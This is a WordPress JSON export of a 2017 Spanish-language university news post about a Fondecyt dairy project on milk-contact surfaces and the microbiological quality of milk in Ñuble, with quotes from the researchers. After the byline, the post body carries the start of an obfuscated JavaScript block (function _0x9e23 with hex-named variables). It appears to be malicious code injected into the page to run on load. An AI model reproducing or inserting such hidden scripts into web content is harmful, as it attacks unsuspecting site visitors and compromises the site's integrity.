{"id":1983,"date":"2017-05-12T11:10:54","date_gmt":"2017-05-12T14:10:54","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=1983"},"modified":"2017-05-12T11:10:54","modified_gmt":"2017-05-12T14:10:54","slug":"veterinaria-culmina-proyecto-de-analisis-de-calidad-de-la-leche","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/veterinaria-culmina-proyecto-de-analisis-de-calidad-de-la-leche\/2017\/1983\/","title":{"rendered":"Veterinaria culmina proyecto de an\u00e1lisis de calidad de la leche"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/FOTOALATORRE.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-1984\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/FOTOALATORRE-300x158.jpg\" alt=\"fotoalatorre\" width=\"300\" height=\"158\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/FOTOALATORRE-300x158.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/FOTOALATORRE.jpg 600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Un trabajo desarrollado con 30 lecher\u00edas de la Provincia de \u00d1uble, en el marco de un Proyecto Fondecyt, denominado \u201cEvaluaci\u00f3n de superficies en contacto con la leche durante la orde\u00f1a y enfriamiento como factores que afectan la calidad microbiol\u00f3gica de la leche de estanque\u201d, fue el que desarrollaron acad\u00e9micos de la Facultad de Ciencias Veterinarias de la Universidad de Concepci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">En un plazo de 3 a\u00f1os, este proyecto que se adjudic\u00f3 alrededor de 80 millones de pesos, permiti\u00f3 la vinculaci\u00f3n de esta Facultad con la industria lechera de la zona.<\/p>\n<p style=\"text-align: justify;\">En este sentido, el acad\u00e9mico, Dr. Marcos Mu\u00f1oz, quien particip\u00f3 en esta iniciativa se\u00f1al\u00f3 que, \u201clo que hicimos fue traspasar nuestros conocimientos a los productores para que conocieran puntos espec\u00edficos de zonas que pueden mejorar, a trav\u00e9s de curvas de orde\u00f1o, inspeccionar las superficies de contacto, analizar el perfil de cultivo de leche en estanques, entre otros puntos. Adem\u00e1s gracias a este proyecto el Departamento de Patolog\u00eda ahora cuenta con un nuevo laboratorio destinado a investigaci\u00f3n sobre calidad de leche que comenzar\u00e1 a ser dotado de tecnolog\u00eda nueva, por lo tanto hay un crecimiento como Facultad y como Universidad tambi\u00e9n, porque hemos duplicado nuestra superficie de laboratorios\u00a0 para la investigaci\u00f3n en calidad de leche\u201d, precis\u00f3 el Dr. Mu\u00f1oz.<\/p>\n<p style=\"text-align: justify;\">De acuerdo a lo explicado por los profesionales, el objetivo principal del proyecto fue evaluar cu\u00e1l es el rol de las superficies en contacto con la leche, para la calidad de este producto, su seguridad y tambi\u00e9n para la salud intramamaria.<\/p>\n<p style=\"text-align: justify;\">En tanto, la directora del proyecto, la Dra. Alejandra Latorre agreg\u00f3 que, \u201cla calidad microbiol\u00f3gica de la leche muchas veces es mirada s\u00f3lo desde el punto de vista de la ganancia o perdida en t\u00e9rminos de pago por la leche, pero tambi\u00e9n es importante considerar que este producto es un alimento que va a ser destinado a consumo humano. Una buena calidad microbiol\u00f3gica de la materia prima para elaboraci\u00f3n de productos l\u00e1cteos se traduce en una mejor calidad de \u00e9stos \u00faltimos, as\u00ed como tambi\u00e9n su mayor duraci\u00f3n y aceptaci\u00f3n por los consumidores. Al ayudar a los productores a identificar ciertos puntos cr\u00edticos de contaminaci\u00f3n de la leche, ellos pueden mejorar la calidad microbiol\u00f3gica de \u00e9sta, lo cual a su vez se traduce en que puedan obtener mejores precios por su producto, mejoran su competitividad y a la vez entregan un producto de a\u00fan mejor calidad para los consumidores. Esto se logr\u00f3 de forma plena en este proyecto, lo cual nos deja muy contentos y satisfechos, ya que nuestra idea y formaci\u00f3n en ciencia apunta a poder obtener nuevos conocimientos cient\u00edficos que no s\u00f3lo se traduzcan en publicaciones, sino que tambi\u00e9n sirvan para ayudar al sector productivo y a la comunidad\u201d.<\/p>\n<p style=\"text-align: justify;\">Finalmente los encargados del proyecto se\u00f1alaron que la alta competitividad que presentan los productores lecheros a nivel latinoamericano, obedece a esta forma de trabajo mancomunado, donde lo que se busca es ir mejorando las estrategias de trabajo en este rubro, formar recurso humano y fortalecer a los productores en el tema central que es el mejoramiento de la calidad de la leche para el consumo humano.<\/p>\n<p style=\"text-align: justify;\"><strong>Por Francisca Olave<\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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